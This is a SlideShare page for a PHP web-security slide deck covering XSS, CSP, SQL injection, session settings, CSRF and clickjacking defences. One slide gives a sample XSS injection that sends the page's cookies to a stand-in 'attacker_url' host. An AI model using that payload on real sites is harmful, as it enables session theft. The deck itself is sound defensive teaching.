SlideShare a Scribd company logo
Web Development
Security
 rafaelmonteiro / web-development-security
Pillars of Information Security
Confidentiality
Integrity
Availability
 rafaelmonteiro / web-development-security
Principles
Multiple Layer Security
Consider that each layer will eventually fail
Provide the minimum amount of information
required
 rafaelmonteiro / web-development-security
Validate user input
Since HTTP requests can be manipulated client-side,
all user input must be validated.
 rafaelmonteiro / web-development-security
Protection
PHP offers the extensions ctype and filter. In
addition, most frameworks implement some sort of
data sanitization.
PHP 7+ provides type declarations that allow you to
specify the expected type of parameters.
declare(strict_types = 1);
 rafaelmonteiro / web-development-security
Cross-site scripting (XSS)
When a user-supplied script is stored and/or executed
by the application.
 rafaelmonteiro / web-development-security
Example
Assuming that an application allows input via GET
method, a malicious attacker do this injection:
<script>
(New Image()).src = "http://attacker_url/?" + escape(document.c
</script>
 rafaelmonteiro / web-development-security
Types
Stored
Non-persistent
Based on DOM
 rafaelmonteiro / web-development-security
Consequences
Cookie/session the
DOM Manipulation
Keylogger
Browser exploits
Everything JavaScript allows
 rafaelmonteiro / web-development-security
Protection
only allows access to code from
the same origin (protocol/domain/port) of the
application, while allowing access to external files (a
lib such as , for example)
Filter user input ( , , )
Escape output ( , ,
)
Apply (default-src, img-src,
script-src) -> delete inline code
Same-origin Policy
JQuery
strip_tags filter_var preg_replace
htmlspecialchars htmlentities
filter_var
Content Security Policy
 rafaelmonteiro / web-development-security
Testing the CSP
A report is created when related warnings are
generated by the application.
Content-Security-Policy-Report-Only
Report-uri /path/file.php
 rafaelmonteiro / web-development-security
SQL Injection
Protection
Do not concatenate data (parameters) with SQL
queries
Validate user input
Use prepared statements
Escape characters
 rafaelmonteiro / web-development-security
Status Management
Protection
Use HTTPS
Set secure and HttpOnly flags
Prevent XSS
Session ID
Store some distinctive user information in session
Detect session hijacking (token)
Use to hinder session the
Change
HSTS
 rafaelmonteiro / web-development-security
Policies
session.use_strict_mode = true;
session.cookie_secure = true;
session.use_only_cookies = true;
session.cookie_httponly = true;
 
Strict-Transport-Security: max-age = 86400; includeSubDomains
 rafaelmonteiro / web-development-security
Cross-site Request Forgery
(CSRF)
Caused by viruses, scam/phishing, malicious
site/redirect
Protection
Submit token
Do not use GET for operations involving data
manipulation (just a good practice, because POST
can also be manipulated)
 rafaelmonteiro / web-development-security
Clickjacking
Attacker creates fake page and through requests to
the target site (usually via iframe), takes advantage
of the user session
Protection
header('X-FRAME-OPTIONS', 'DENY'); // or SAMEORIGIN
 rafaelmonteiro / web-development-security
Tools
Arachni web scanner
Dependencies security checker
 rafaelmonteiro / web-development-security
References
OWASP
 rafaelmonteiro / web-development-security

More Related Content

PDF
http security response headers for web security
PPS
Flash Security
PPTX
Web security
PPTX
The Nitty Gritty of Website Security
PPTX
PHP Security Tips
PDF
Truetesters presents OWASP Top 10 Web Vulnerability
PPT
The Principles of Secure Development - David Rook
PPTX
Cm2 secure code_training_1day_data_protection
http security response headers for web security
Flash Security
Web security
The Nitty Gritty of Website Security
PHP Security Tips
Truetesters presents OWASP Top 10 Web Vulnerability
The Principles of Secure Development - David Rook
Cm2 secure code_training_1day_data_protection

What's hot (20)

PPTX
Windows 8 security eCore
PPTX
Top 10 security risks for mobile backend developers
PDF
How to get recover from a hacked website
PPTX
Security hardening and drown attack prevention for mobile backend developers
PDF
Cyber security considerations for Small and Medium Businesses
PPTX
Why vulners? Short story about reinventing a wheel
PDF
How to avoid your website from keep getting hacked
PDF
Owasp top 10_openwest_2019
PDF
Preventing XSS with Content Security Policy
PPTX
Application Security - Myth or Fact Slides
PDF
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
PPT
Spring Security Introduction
PPT
Mule anypointenterprisesecurity
PPTX
Pci compliance writing secure code
PDF
Vulnerability Funalitics with vulners.com
KEY
mod_security introduction at study2study #3
PPTX
PCI security requirements secure coding and code review 2014
PDF
Future of Web Security Opened up by CSP
PDF
10 things I’ve learnt about web application security
PPTX
Spring security
Windows 8 security eCore
Top 10 security risks for mobile backend developers
How to get recover from a hacked website
Security hardening and drown attack prevention for mobile backend developers
Cyber security considerations for Small and Medium Businesses
Why vulners? Short story about reinventing a wheel
How to avoid your website from keep getting hacked
Owasp top 10_openwest_2019
Preventing XSS with Content Security Policy
Application Security - Myth or Fact Slides
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Spring Security Introduction
Mule anypointenterprisesecurity
Pci compliance writing secure code
Vulnerability Funalitics with vulners.com
mod_security introduction at study2study #3
PCI security requirements secure coding and code review 2014
Future of Web Security Opened up by CSP
10 things I’ve learnt about web application security
Spring security
Ad

Similar to Web Development Security (20)

PPTX
Presentation on Top 10 Vulnerabilities in Web Application
PDF
4 andrii kudiurov - web application security 101
PDF
OReilly-Web-Application-Security-NGINX.pdf
PDF
Making Web Development "Secure By Default"
PPT
Phpnw security-20111009
PPTX
So Your Company Hired A Pentester
PPTX
Web Application Security - Folio3
PDF
Tuenti: Web Application Security
PDF
Tuenti: Web Application Security
PPTX
The path of secure software by Katy Anton
PPTX
Vulnerabilities in data processing levels
PPT
Web Application Security
PPTX
Secure coding - Balgan - Tiago Henriques
PDF
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
PPT
Application Security
PPSX
Web security
PDF
OWASP Poland Day 2018 - Anthony Fielding and William Jardine - Common App Vulns
PDF
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
PPT
Php & Web Security - PHPXperts 2009
PPTX
Vulnerabilities on Various Data Processing Levels
Presentation on Top 10 Vulnerabilities in Web Application
4 andrii kudiurov - web application security 101
OReilly-Web-Application-Security-NGINX.pdf
Making Web Development "Secure By Default"
Phpnw security-20111009
So Your Company Hired A Pentester
Web Application Security - Folio3
Tuenti: Web Application Security
Tuenti: Web Application Security
The path of secure software by Katy Anton
Vulnerabilities in data processing levels
Web Application Security
Secure coding - Balgan - Tiago Henriques
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
Application Security
Web security
OWASP Poland Day 2018 - Anthony Fielding and William Jardine - Common App Vulns
Web Application Security 2nd Edition (Early Release) Andrew Hoffman
Php & Web Security - PHPXperts 2009
Vulnerabilities on Various Data Processing Levels
Ad

Recently uploaded (20)

PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
KodekX | Application Modernization Development
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Empathic Computing: Creating Shared Understanding
PPTX
Big Data Technologies - Introduction.pptx
PPTX
Spectroscopy.pptx food analysis technology
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PPTX
sap open course for s4hana steps from ECC to s4
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PPTX
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
PDF
cuic standard and advanced reporting.pdf
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Machine learning based COVID-19 study performance prediction
PPT
Teaching material agriculture food technology
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Review of recent advances in non-invasive hemoglobin estimation
KodekX | Application Modernization Development
Advanced methodologies resolving dimensionality complications for autism neur...
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Empathic Computing: Creating Shared Understanding
Big Data Technologies - Introduction.pptx
Spectroscopy.pptx food analysis technology
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
sap open course for s4hana steps from ECC to s4
“AI and Expert System Decision Support & Business Intelligence Systems”
Building Integrated photovoltaic BIPV_UPV.pdf
Mobile App Security Testing_ A Comprehensive Guide.pdf
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
cuic standard and advanced reporting.pdf
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
20250228 LYD VKU AI Blended-Learning.pptx
Understanding_Digital_Forensics_Presentation.pptx
Machine learning based COVID-19 study performance prediction
Teaching material agriculture food technology

Web Development Security

  • 1. Web Development Security  rafaelmonteiro / web-development-security
  • 2. Pillars of Information Security Confidentiality Integrity Availability  rafaelmonteiro / web-development-security
  • 3. Principles Multiple Layer Security Consider that each layer will eventually fail Provide the minimum amount of information required  rafaelmonteiro / web-development-security
  • 4. Validate user input Since HTTP requests can be manipulated client-side, all user input must be validated.  rafaelmonteiro / web-development-security
  • 5. Protection PHP offers the extensions ctype and filter. In addition, most frameworks implement some sort of data sanitization. PHP 7+ provides type declarations that allow you to specify the expected type of parameters. declare(strict_types = 1);  rafaelmonteiro / web-development-security
  • 6. Cross-site scripting (XSS) When a user-supplied script is stored and/or executed by the application.  rafaelmonteiro / web-development-security
  • 7. Example Assuming that an application allows input via GET method, a malicious attacker do this injection: <script> (New Image()).src = "http://attacker_url/?" + escape(document.c </script>  rafaelmonteiro / web-development-security
  • 8. Types Stored Non-persistent Based on DOM  rafaelmonteiro / web-development-security
  • 9. Consequences Cookie/session the DOM Manipulation Keylogger Browser exploits Everything JavaScript allows  rafaelmonteiro / web-development-security
  • 10. Protection only allows access to code from the same origin (protocol/domain/port) of the application, while allowing access to external files (a lib such as , for example) Filter user input ( , , ) Escape output ( , , ) Apply (default-src, img-src, script-src) -> delete inline code Same-origin Policy JQuery strip_tags filter_var preg_replace htmlspecialchars htmlentities filter_var Content Security Policy  rafaelmonteiro / web-development-security
  • 11. Testing the CSP A report is created when related warnings are generated by the application. Content-Security-Policy-Report-Only Report-uri /path/file.php  rafaelmonteiro / web-development-security
  • 12. SQL Injection Protection Do not concatenate data (parameters) with SQL queries Validate user input Use prepared statements Escape characters  rafaelmonteiro / web-development-security
  • 13. Status Management Protection Use HTTPS Set secure and HttpOnly flags Prevent XSS Session ID Store some distinctive user information in session Detect session hijacking (token) Use to hinder session the Change HSTS  rafaelmonteiro / web-development-security
  • 14. Policies session.use_strict_mode = true; session.cookie_secure = true; session.use_only_cookies = true; session.cookie_httponly = true;   Strict-Transport-Security: max-age = 86400; includeSubDomains  rafaelmonteiro / web-development-security
  • 15. Cross-site Request Forgery (CSRF) Caused by viruses, scam/phishing, malicious site/redirect Protection Submit token Do not use GET for operations involving data manipulation (just a good practice, because POST can also be manipulated)  rafaelmonteiro / web-development-security
  • 16. Clickjacking Attacker creates fake page and through requests to the target site (usually via iframe), takes advantage of the user session Protection header('X-FRAME-OPTIONS', 'DENY'); // or SAMEORIGIN  rafaelmonteiro / web-development-security
  • 17. Tools Arachni web scanner Dependencies security checker  rafaelmonteiro / web-development-security
  • 18. References OWASP  rafaelmonteiro / web-development-security